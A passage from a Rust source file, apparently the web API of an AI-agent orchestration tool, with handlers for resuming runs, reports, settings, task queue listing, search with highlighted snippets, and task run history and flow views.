3335 crate::run::short_of(&work.run)
3336 )));
3337 }
3338 let _resume = ui.begin_resume(&id)?;
3339
3340 let queued = RunSummary::of(
3343 &state,
3344 !ui.questions.open_for(&id).is_empty(),
3345 state.liveness(false),
3346 );
3347 let run = id.clone();
3348 tokio::spawn(async move {
3349 let _resume = _resume;
3350 match crate::graph::Runner::resume(&run) {
3351 Ok(mut runner) => {
3352 if let Err(e) = runner.execute().await {
3353 tracing::warn!("resume of run {run} stopped: {e:#}");
3354 }
3355 }
3356 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3359 }
3360 });
3361 Ok((StatusCode::ACCEPTED, Json(queued)))
3362}
3363
3364async fn run_report(
3365 State(ui): State<Arc<Ui>>,
3366 Path(id): Path<String>,
3367) -> ApiResult<impl IntoResponse> {
3368 let text = blocking(move || {
3369 let id = resolve_run(&ui.runs, &id)?;
3370 let state = read_run(&ui.runs, &id)?;
3374 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3375 let live = state.liveness(daemon_claims);
3376 Ok(format!(
3377 "{}{}",
3378 report::run(&state),
3379 report::active_seats(&state, live)
3380 ))
3381 })
3382 .await?;
3383 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3384}
3385
3386async fn run_report_json(
3390 State(ui): State<Arc<Ui>>,
3391 Path(id): Path<String>,
3392) -> ApiResult<Json<crate::report_view::RunReportView>> {
3393 let view = blocking(move || {
3394 let id = resolve_run(&ui.runs, &id)?;
3395 let state = read_run(&ui.runs, &id)?;
3396 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3397 Ok(crate::report_view::build(
3398 &state,
3399 state.liveness(daemon_claims),
3400 ))
3401 })
3402 .await?;
3403 Ok(Json(view))
3404}
3405
3406#[derive(Debug, Serialize)]
3412struct TaskView {
3413 #[serde(flatten)]
3414 task: Task,
3415 source_label: String,
3416 source_link: Option<SourceLink>,
3417 status_str: &'static str,
3418 instruction_md: Vec<md::Node>,
3422 waits_on: Vec<String>,
3426 stuck_roots: Vec<String>,
3429}
3430
3431impl From<Task> for TaskView {
3432 fn from(task: Task) -> Self {
3433 Self {
3434 source_label: task.source.label(),
3435 source_link: source_link(&task.source),
3436 status_str: task.status.as_str(),
3437 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3438 waits_on: Vec::new(),
3439 stuck_roots: Vec::new(),
3440 task,
3441 }
3442 }
3443}
3444
3445impl TaskView {
3446 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3447 let waits_on = inv.waits_on(&task);
3448 let stuck_roots = inv
3449 .stuck_roots(&task)
3450 .iter()
3451 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3452 .collect();
3453 Self {
3454 waits_on,
3455 stuck_roots,
3456 ..Self::from(task)
3457 }
3458 }
3459}
3460
3461#[derive(Debug, Default, Deserialize)]
3464#[serde(default)]
3465struct ReposQuery {
3466 refresh: u8,
3467}
3468
3469async fn repos_list(
3476 State(ui): State<Arc<Ui>>,
3477 Query(q): Query<ReposQuery>,
3478) -> ApiResult<Json<Vec<repos::Repo>>> {
3479 let refresh = q.refresh != 0;
3480 blocking(move || {
3481 let (cfg, _) = Config::discover(&ui.repo, None)?;
3482 Ok(Json(ui.repos_cache.list(
3483 &cfg.repos.roots,
3484 Duration::from_secs(cfg.repos.scan_ttl),
3485 refresh,
3486 )))
3487 })
3488 .await
3489}
3490
3491async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3495 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3496}
3497
3498#[derive(Debug, Deserialize)]
3500#[serde(deny_unknown_fields)]
3501struct RolesBody {
3502 revision: String,
3504 #[serde(default)]
3506 roles: std::collections::BTreeMap<String, Vec<String>>,
3507 #[serde(default)]
3511 counts: std::collections::BTreeMap<String, serde_json::Value>,
3512}
3513
3514async fn settings_put_roles(
3520 State(ui): State<Arc<Ui>>,
3521 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3522) -> ApiResult<Json<settings::SettingsView>> {
3523 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3524 blocking(move || {
3525 settings::save(
3526 &ui.repo,
3527 ui.machine_config.as_deref(),
3528 &body.revision,
3529 &body.roles,
3530 &body.counts,
3531 )
3532 .map(Json)
3533 .map_err(|e| match e {
3534 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3535 settings::SaveError::Refused(m) => ApiError {
3536 status: StatusCode::UNPROCESSABLE_ENTITY,
3537 message: m,
3538 },
3539 settings::SaveError::Internal(m) => ApiError::internal(m),
3540 })
3541 })
3542 .await
3543}
3544
3545async fn queue_list(
3546 State(ui): State<Arc<Ui>>,
3547 Query(q): Query<ListQuery>,
3548) -> ApiResult<Json<Vec<TaskView>>> {
3549 blocking(move || {
3550 let tasks = ui.queue.list();
3551 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3552 Ok(Json(
3553 tasks
3554 .into_iter()
3555 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3556 .map(|t| TaskView::with_inventory(t, &inv))
3557 .collect(),
3558 ))
3559 })
3560 .await
3561}
3562
3563const SEARCH_MAX_HITS: usize = 100;
3565const SEARCH_MAX_QUERY: usize = 200;
3567const SEARCH_MAX_TERMS: usize = 8;
3568const SNIPPET_BEFORE: usize = 50;
3570const SNIPPET_AFTER: usize = 110;
3571
3572#[derive(Debug, Deserialize)]
3574struct SearchQuery {
3575 #[serde(default)]
3576 scope: String,
3577 #[serde(default)]
3578 q: String,
3579}
3580
3581#[derive(Debug, Serialize, PartialEq, Eq)]
3584struct SnippetPart {
3585 text: String,
3586 hit: bool,
3587}
3588
3589#[derive(Debug, Serialize)]
3590struct SearchHit {
3591 id: String,
3592 field: String,
3594 snippet: Vec<SnippetPart>,
3595 #[serde(skip_serializing_if = "Option::is_none")]
3599 run: Option<RunSummary>,
3600}
3601
3602#[derive(Debug, Serialize)]
3603struct SearchView {
3604 scope: String,
3605 q: String,
3606 hits: Vec<SearchHit>,
3608 total: usize,
3610 truncated: bool,
3611 unreadable: usize,
3614}
3615
3616fn text_leaves<'a>(
3619 value: &'a serde_json::Value,
3620 field: &'a str,
3621 out: &mut Vec<(&'a str, &'a str)>,
3622) {
3623 match value {
3624 serde_json::Value::String(s) => out.push((field, s)),
3625 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3626 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3627 _ => {}
3628 }
3629}
3630
3631fn fold_char(c: char) -> char {
3634 c.to_lowercase().next().unwrap_or(c)
3635}
3636
3637fn search_terms(q: &str) -> Vec<String> {
3639 let mut terms: Vec<String> = Vec::new();
3640 for t in q.split_whitespace() {
3641 let t = t.to_lowercase();
3642 if !terms.contains(&t) {
3643 terms.push(t);
3644 }
3645 }
3646 terms
3647}
3648
3649fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3652 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3653 let mut first: Option<usize> = None;
3654 for term in terms {
3655 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3656 first = Some(first.map_or(at, |f| f.min(at)));
3657 }
3658 let (field, text) = leaves[first?];
3660 Some(SearchHit {
3661 id: String::new(),
3662 field: field.to_owned(),
3663 snippet: snippet_of(text, terms),
3664 run: None,
3665 })
3666}
3667
3668fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3671 let chars: Vec<char> = text.chars().collect();
3672 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3673 let needles: Vec<Vec<char>> = terms
3674 .iter()
3675 .map(|t| t.chars().map(fold_char).collect())
3676 .collect();
3677 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3678 let mut best: Option<(usize, usize)> = None;
3679 for n in needles.iter().filter(|n| !n.is_empty()) {
3680 if n.len() > chars.len() || to == 0 {
3684 continue;
3685 }
3686 let last = (to - 1).min(chars.len() - n.len());
3687 if from > last {
3688 continue;
3689 }
3690 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3691 && best.is_none_or(|(b, _)| i < b)
3692 {
3693 best = Some((i, i + n.len()));
3694 }
3695 }
3696 best
3697 };
3698 let Some((start, _)) = find(0, chars.len()) else {
3699 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3701 return vec![SnippetPart {
3702 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3703 hit: false,
3704 }];
3705 };
3706 let lo = start.saturating_sub(SNIPPET_BEFORE);
3707 let hi = (start + SNIPPET_AFTER).min(chars.len());
3708 let mut parts: Vec<SnippetPart> = Vec::new();
3709 let mut push = |s: &[char], hit: bool| {
3710 if s.is_empty() {
3711 return;
3712 }
3713 let text: String = s.iter().collect();
3714 match parts.last_mut() {
3715 Some(p) if p.hit == hit => p.text.push_str(&text),
3716 _ => parts.push(SnippetPart { text, hit }),
3717 }
3718 };
3719 if lo > 0 {
3720 push(&['\u{2026}'], false);
3721 }
3722 let mut at = lo;
3723 while at < hi {
3724 match find(at, hi) {
3725 Some((s, e)) => {
3726 push(&chars[at..s], false);
3727 let shown = e.min(hi);
3729 push(&chars[s..shown], true);
3730 at = shown;
3731 }
3732 None => {
3733 push(&chars[at..hi], false);
3734 at = hi;
3735 }
3736 }
3737 }
3738 if hi < chars.len() {
3739 push(&['\u{2026}'], false);
3740 }
3741 let mut prev_space = false;
3744 for p in &mut parts {
3745 let mut out = String::with_capacity(p.text.len());
3746 for c in p.text.chars() {
3747 if c.is_whitespace() {
3748 if !prev_space {
3749 out.push(' ');
3750 }
3751 prev_space = true;
3752 } else {
3753 out.push(c);
3754 prev_space = false;
3755 }
3756 }
3757 p.text = out;
3758 }
3759 parts.retain(|p| !p.text.is_empty());
3760 parts
3761}
3762
3763fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3765where
3766 I: IntoIterator<Item = (String, serde_json::Value)>,
3767{
3768 for (id, doc) in docs {
3769 let mut leaves = Vec::new();
3770 leaves.push(("id", id.as_str()));
3773 text_leaves(&doc, "", &mut leaves);
3774 if let Some(mut hit) = search_document(terms, &leaves) {
3775 view.total += 1;
3776 if view.hits.len() < SEARCH_MAX_HITS {
3777 hit.id = id;
3778 view.hits.push(hit);
3779 }
3780 }
3781 }
3782 view.truncated = view.total > view.hits.len();
3783}
3784
3785fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3792 let opener = talk
3793 .turns
3794 .iter()
3795 .find(|t| t.who == crate::talk::Who::Operator)
3796 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3797 .unwrap_or("");
3798 let title: String = if opener.chars().count() > 96 {
3799 opener.chars().take(95).chain(['\u{2026}']).collect()
3800 } else {
3801 opener.to_owned()
3802 };
3803 let turns: Vec<serde_json::Value> = talk
3804 .turns
3805 .iter()
3806 .map(|t| {
3807 let who = match t.who {
3808 crate::talk::Who::Operator => "operator",
3809 crate::talk::Who::Agent => "agent",
3810 };
3811 serde_json::json!({ who: t.body })
3812 })
3813 .collect();
3814 serde_json::json!({ "title": title, "turns": turns })
3815}
3816
3817async fn search_get(
3824 State(ui): State<Arc<Ui>>,
3825 Query(q): Query<SearchQuery>,
3826) -> ApiResult<Json<SearchView>> {
3827 let query = q.q.trim().to_owned();
3828 if query.is_empty() {
3829 return Err(ApiError::bad_request("q must not be empty"));
3830 }
3831 if query.chars().count() > SEARCH_MAX_QUERY {
3832 return Err(ApiError::bad_request(format!(
3833 "q is longer than {SEARCH_MAX_QUERY} characters"
3834 )));
3835 }
3836 let terms = search_terms(&query);
3837 if terms.len() > SEARCH_MAX_TERMS {
3838 return Err(ApiError::bad_request(format!(
3839 "q has more than {SEARCH_MAX_TERMS} terms"
3840 )));
3841 }
3842 let scope = q.scope;
3843 if scope != "runs" && scope != "tasks" && scope != "chats" {
3844 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3845 }
3846 blocking(move || {
3847 let mut view = SearchView {
3848 scope: scope.clone(),
3849 q: query,
3850 hits: Vec::new(),
3851 total: 0,
3852 truncated: false,
3853 unreadable: 0,
3854 };
3855 if scope == "runs" {
3856 let mut unreadable = 0;
3857 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3861 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3862 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3863 Some(v) => Some((id, v)),
3864 None => {
3865 unreadable += 1;
3866 None
3867 }
3868 }
3869 });
3870 search_docs(&terms, docs, &mut view);
3871 view.unreadable = unreadable;
3872 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3875 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3876 for hit in &mut view.hits {
3877 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3878 hit.run = summarize(
3879 [state],
3880 &open_runs,
3881 &claimed,
3882 &superseded,
3883 |p| probe.borrow_mut().status(p),
3884 |p| probe.borrow_mut().started_at(p),
3885 )
3886 .pop();
3887 }
3888 }
3889 } else if scope == "chats" {
3890 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3891 view.unreadable = unreadable;
3892 search_docs(
3893 &terms,
3894 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3895 &mut view,
3896 );
3897 } else {
3898 let docs = ui.queue.list().into_iter().filter_map(|t| {
3899 let mut v = serde_json::to_value(&t).ok()?;
3900 if let Some(o) = v.as_object_mut() {
3903 o.insert("filed_by".to_owned(), t.source.label().into());
3904 }
3905 Some((t.id, v))
3906 });
3907 search_docs(&terms, docs, &mut view);
3908 }
3909 Ok(Json(view))
3910 })
3911 .await
3912}
3913
3914#[derive(Debug, Serialize)]
3916struct TaskRunView {
3917 n: usize,
3919 id: String,
3920 short: String,
3921 kind: &'static str,
3923 status: Option<&'static str>,
3925 readable: bool,
3927 provisional: bool,
3929 description: String,
3931 outcome: String,
3933 created_at: Option<Timestamp>,
3934 pr: Option<String>,
3935 exit: RunExit,
3937 attempt: AttemptCost,
3939 branch: Option<String>,
3941}
3942
3943#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3945#[serde(rename_all = "snake_case")]
3946enum RunExit {
3947 Unreadable,
3948 Interrupted,
3950 Parked,
3951 QuotaStall,
3952 ResumedQuotaStall,
3956 Merged,
3957 Ready,
3958 Superseded,
3959 AlreadyInBase,
3962 Stalled,
3964 HeldWithPr,
3966 NoopHeld,
3967 Spent,
3969 InProgress,
3970}
3971
3972#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3973#[serde(rename_all = "snake_case")]
3974enum AttemptCost {
3975 Spent,
3976 Refunded,
3977 None,
3978 Unknown,
3980}
3981
3982impl RunExit {
3983 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3984 let Some(s) = s else {
3985 return Self::Unreadable;
3986 };
3987 let status = s.status;
3988 if resumed_later {
3989 Self::Interrupted
3990 } else if s.parked {
3991 Self::Parked
3992 } else if !status.done() {
3993 Self::InProgress
3994 } else if matches!(status, RunStatus::Merged) {
3995 Self::Merged
3996 } else if matches!(status, RunStatus::Ready) {
3997 Self::Ready
3998 } else if matches!(status, RunStatus::Superseded) {
3999 Self::Superseded
4000 } else if matches!(status, RunStatus::AlreadyInBase) {
4001 Self::AlreadyInBase
4002 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4003 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4004 {
4005 if resumed {
4006 Self::ResumedQuotaStall
4007 } else {
4008 Self::QuotaStall
4009 }
4010 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4011 Self::HeldWithPr
4012 } else if matches!(status, RunStatus::VerifiedNoop) {
4013 Self::NoopHeld
4014 } else if matches!(status, RunStatus::Stalled) {
4015 Self::Stalled
4016 } else {
4017 Self::Spent
4018 }
4019 }
4020
4021 fn cost(self) -> AttemptCost {
4022 match self {
4023 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4024 Self::Merged
4025 | Self::Ready
4026 | Self::Stalled
4027 | Self::HeldWithPr
4028 | Self::NoopHeld
4029 | Self::Spent => AttemptCost::Spent,
4030 Self::InProgress => AttemptCost::None,
4031 Self::AlreadyInBase => AttemptCost::Refunded,
4032 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4033 AttemptCost::Unknown
4034 }
4035 }
4036 }
4037
4038 fn edge_label(self, status: Option<&str>) -> String {
4040 match self {
4041 Self::Unreadable => "record unreadable".to_owned(),
4042 Self::Interrupted => "interrupted before the run finished".to_owned(),
4043 Self::Parked => "parked, attempt refunded".to_owned(),
4044 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4045 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4046 Self::Merged => "merged".to_owned(),
4047 Self::Ready => "ready, not merged".to_owned(),
4048 Self::Superseded => "superseded by a later attempt".to_owned(),
4049 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4050 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4051 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4052 Self::NoopHeld => "verified no-op".to_owned(),
4053 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4054 Self::InProgress => "in progress".to_owned(),
4055 }
4056 }
4057
4058 fn explains(self, end: TaskStatus) -> bool {
4061 match self {
4062 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4063 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4064 Self::Unreadable | Self::Superseded | Self::Ready => true,
4065 _ => end != TaskStatus::Done,
4066 }
4067 }
4068}
4069
4070#[derive(Debug, Serialize)]
4072struct TaskDetailView {
4073 #[serde(flatten)]
4074 task: TaskView,
4075 max_attempts: usize,
4078 history: Vec<TaskRunView>,
4079 flow: FlowView,
4080 runs_unreadable: usize,
4082 attempts_note: &'static str,
4084}
4085
4086const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4087and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4088on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4089in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4090
4091fn review_branch_of(instruction: &str) -> Option<&str> {
4094 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4095 rest.split('`').next().filter(|b| !b.is_empty())
4096}
4097
4098struct RunSlot<'a> {
4100 n: usize,
4102 resumed: bool,
4104 resumed_later: Option<usize>,
4106 prior: Option<(&'a str, RunStatus)>,
4108 last: bool,
4109}
4110
4111fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4114 let RunSlot {
4115 n,
4116 resumed,
4117 resumed_later,
4118 prior,
4119 last,
4120 } = at;
4121 let short = run::short_of(id).to_owned();
4122 let Some(s) = state else {
4123 return TaskRunView {
4124 n,
4125 id: id.to_owned(),
4126 short,
4127 kind: "unknown",
4128 status: None,
4129 readable: false,
4130 provisional: false,
4131 description:
4132 "This run's record could not be read by this build (written by a different \
4133 magi, or removed), so what kind of attempt it was is unknown."
4134 .to_owned(),
4135 outcome: String::new(),
4136 created_at: None,
4137 pr: None,
4138 exit: RunExit::Unreadable,
4139 attempt: AttemptCost::Unknown,
4140 branch: None,
4141 };
4142 };
4143 let branch = review_branch_of(&s.instruction);
4144 let kind = if resumed {
4145 "resume"
4146 } else if branch.is_some() {
4147 "review"
4148 } else if task.solo || s.candidates.len() == 1 {
4149 "solo"
4150 } else {
4151 "competition"
4152 };
4153 let mut description = match kind {
4154 "resume" => {
4155 format!("Resumed run {short}: the same run carried on instead of competing again.")
4156 }
4157 "review" => format!(
4158 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4159 branch.unwrap_or_default()
4160 ),
4161 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4162 _ => format!(
4163 "Competition: {} candidates judged blind.",
4164 s.candidates.len().max(1)
4165 ),
4166 };
4167 if !resumed && let Some((p, st)) = prior {
4168 description.push_str(&format!(
4169 " A retry: run {p} before it ended {}.",
4170 st.display_label()
4171 ));
4172 }
4173
4174 let status = s.status;
4175 let provisional = matches!(status, RunStatus::Stalled)
4176 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4177 let head = if resumed_later.is_some() {
4178 String::new()
4179 } else {
4180 match status {
4181 RunStatus::Merged => "Merged.".to_owned(),
4182 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4183 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4184 RunStatus::AlreadyInBase => {
4185 "Already in the base: this change landed under other commits, nothing was left to land."
4186 .to_owned()
4187 }
4188 RunStatus::Stalled => {
4189 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4190 .to_owned()
4191 }
4192 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4193 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4194 RunStatus::VerifiedNoop => {
4195 "Verified no-op: the candidates found nothing to change.".to_owned()
4196 }
4197 other if other.done() => format!("Ended {}.", other.display_label()),
4198 other => format!("In progress ({}).", other.display_label()),
4199 }
4200 };
4201 let why = if let Some(k) = resumed_later {
4202 let cause = if s.quota.is_empty() {
4209 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4210 } else {
4211 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4212 };
4213 format!(
4214 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4215 )
4216 } else if s.parked {
4217 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4218 .to_owned()
4219 } else if !status.done()
4220 || matches!(
4221 status,
4222 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4223 )
4224 {
4225 String::new()
4226 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4227 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4228 {
4229 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4230 .to_owned()
4231 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4232 " It left a pull request open, so the task was held for a person rather than retried."
4233 .to_owned()
4234 } else if matches!(status, RunStatus::VerifiedNoop) {
4235 " Held for a person to check the claim.".to_owned()
4236 } else if last {
4237 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4238 } else {
4239 " It spent an attempt, and the task moved on to the next run.".to_owned()
4240 };
4241 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4242 TaskRunView {
4243 n,
4244 id: id.to_owned(),
4245 short,
4246 kind,
4247 status: Some(status.as_str()),
4248 readable: true,
4249 provisional,
4250 description,
4251 outcome: format!("{head}{why}"),
4252 created_at: Some(s.created_at),
4253 pr: s.pr.as_ref().map(|p| p.url.clone()),
4254 exit,
4255 attempt: exit.cost(),
4256 branch: branch.map(str::to_owned),
4257 }
4258}
4259
4260#[derive(Debug, Serialize, PartialEq)]
4262struct FlowNode {
4263 key: String,
4265 kind: &'static str,
4267 label: String,
4268 status: Option<&'static str>,
4271 note: Option<&'static str>,
4273 run_kind: Option<&'static str>,
4274 detail: Option<String>,
4275 decided: bool,
4277 readable: bool,
4278 href: Option<String>,
4279}
4280
4281#[derive(Debug, Serialize, PartialEq)]
4282struct FlowEdge {
4283 from: String,
4284 to: String,
4285 label: String,
4286 attempt: AttemptCost,
4287}
4288
4289#[derive(Debug, Serialize, PartialEq)]
4290struct FlowView {
4291 nodes: Vec<FlowNode>,
4292 edges: Vec<FlowEdge>,
4293 attempts: usize,
4295 max_attempts: usize,
4296}
4297
4298fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4301 let node = |key: &str, kind, label: String| FlowNode {
4302 key: key.to_owned(),
4303 kind,
4304 label,
4305 status: None,
4306 note: None,
4307 run_kind: None,
4308 detail: None,
4309 decided: false,
4310 readable: true,
4311 href: None,
4312 };
4313 let mut nodes = Vec::new();
4314 let mut edges: Vec<FlowEdge> = Vec::new();
4315 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4317 let mut n = node(
4318 "chat",
4319 "chat",
4320 format!("Chat {}", crate::queue::short(&link.id)),
4321 );
4322 n.href = Some(link.href);
4323 nodes.push(n);
4324 edges.push(FlowEdge {
4325 from: "chat".to_owned(),
4326 to: "start".to_owned(),
4327 label: "queued from chat".to_owned(),
4328 attempt: AttemptCost::None,
4329 });
4330 }
4331 nodes.push(node("start", "start", "Task queued".to_owned()));
4332 let mut prev = "start".to_owned();
4333 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4334 for (i, h) in history.iter().enumerate() {
4335 let key = format!("run-{}", h.n);
4336 let mut n = node(&key, "run", format!("Run {}", h.short));
4337 n.run_kind = Some(h.kind);
4338 n.readable = h.readable;
4339 n.href = Some(format!("#/runs/{}", h.id));
4340 n.decided = h.readable && !h.provisional;
4341 n.detail = h
4342 .branch
4343 .as_ref()
4344 .map(|b| format!("review-only run of branch {b}"));
4345 match h.exit {
4346 RunExit::Unreadable => n.note = Some("unreadable"),
4347 RunExit::Interrupted => n.note = Some("interrupted"),
4348 _ => {
4349 n.status = h.status;
4350 if h.provisional {
4351 n.note = Some("no verdict");
4352 }
4353 }
4354 }
4355 let into = match h.kind {
4356 "review" => Some(format!(
4357 "review-only run of branch {}",
4358 h.branch.as_deref().unwrap_or("?")
4359 )),
4360 "resume" => Some("resume the same run".to_owned()),
4361 _ if i > 0 => Some("retry".to_owned()),
4362 _ => None,
4363 };
4364 let label = match (prev_exit, into) {
4365 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4366 (Some((e, st)), None) => e.edge_label(st),
4367 (None, Some(i)) => i,
4368 (None, None) => "claimed".to_owned(),
4369 };
4370 edges.push(FlowEdge {
4371 from: prev.clone(),
4372 to: key.clone(),
4373 label,
4374 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4375 });
4376 prev_exit = Some((h.exit, h.status));
4377 prev = key;
4378 nodes.push(n);
4379 }
4380 let mut end = node("end", "end", task.status.as_str().to_owned());
4381 end.status = Some(task.status.as_str());
4382 nodes.push(end);
4383 let (label, attempt) = match prev_exit {
4384 None => (
4385 format!("no run yet \u{2192} {}", task.status.as_str()),
4386 AttemptCost::None,
4387 ),
4388 Some((e, st)) if e.explains(task.status) => (
4389 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4390 e.cost(),
4391 ),
4392 Some((e, _)) => (
4393 format!("closed by hand: task is {}", task.status.as_str()),
4394 e.cost(),
4395 ),
4396 };
4397 edges.push(FlowEdge {
4398 from: prev,
4399 to: "end".to_owned(),
4400 label,
4401 attempt,
4402 });
4403 FlowView {
4404 nodes,
4405 edges,
4406 attempts: task.attempts,
4407 max_attempts,
4408 }
4409}
4410
4411fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4414 let mut history = Vec::with_capacity(task.runs.len());
4415 let mut seen: Vec<&str> = Vec::new();
4416 let mut prior: Option<(&str, RunStatus)> = None;
4417 for (i, run_id) in task.runs.iter().enumerate() {
4418 let state = read(run_id);
4419 let resumed = seen.contains(&run_id.as_str());
4420 seen.push(run_id);
4421 history.push(task_run_view(
4422 run_id,
4423 state.as_ref(),
4424 RunSlot {
4425 n: i + 1,
4426 resumed,
4427 resumed_later: task.runs[i + 1..]
4428 .iter()
4429 .position(|r| r == run_id)
4430 .map(|off| i + off + 2),
4431 prior,
4432 last: i + 1 == task.runs.len(),
4433 },
4434 task,
4435 ));
4436 if let Some(s) = &state {
4437 prior = Some((run::short_of(run_id), s.status));
4438 }
4439 }
4440 history
4441}
4442
4443async fn task_detail(
4444 State(ui): State<Arc<Ui>>,
4445 Path(id): Path<String>,
4446) -> ApiResult<Json<TaskDetailView>> {
4447 blocking(move || {
4448 let id = resolve_task(&ui.queue, &id)?;
4449 let task = ui
4450 .queue
4451 .get(&id)
4452 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4453 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4454 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4455 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4456 let max_attempts = daemon::Opts::default().max_attempts;
4457 let flow = task_flow(&task, &history, max_attempts);
4458 Ok(Json(TaskDetailView {
4459 max_attempts,
4460 flow,
4461 history,
4462 runs_unreadable,
4463 attempts_note: ATTEMPTS_NOTE,
4464 task: TaskView::with_inventory(task, &inv),
4465 }))
4466 })
4467 .await
4468}
4469
4470#[derive(Debug, Serialize)]
4474struct RateView {
4475 pct: f64,
4476 denominator: usize,
4477}
4478
4479impl RateView {
4480 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4481 (denominator > 0).then(|| Self {
4482 pct: 100.0 * numerator as f64 / denominator as f64,
4483 denominator,
4484 })
4485 }
4486}
4487
4488#[derive(Debug, Serialize)]
4493struct StatsTotalsView {
4494 runs: usize,
4495 merged: usize,
4496 ready: usize,
4497 blocked: usize,
4498 failed: usize,
4499 stalled: usize,
4500 verified_noop: usize,
4501 superseded: usize,
4502 in_progress: usize,
4503 completion_rate: Option<RateView>,
4504 tallied: usize,
4505 split: usize,
4506 split_rate: Option<RateView>,
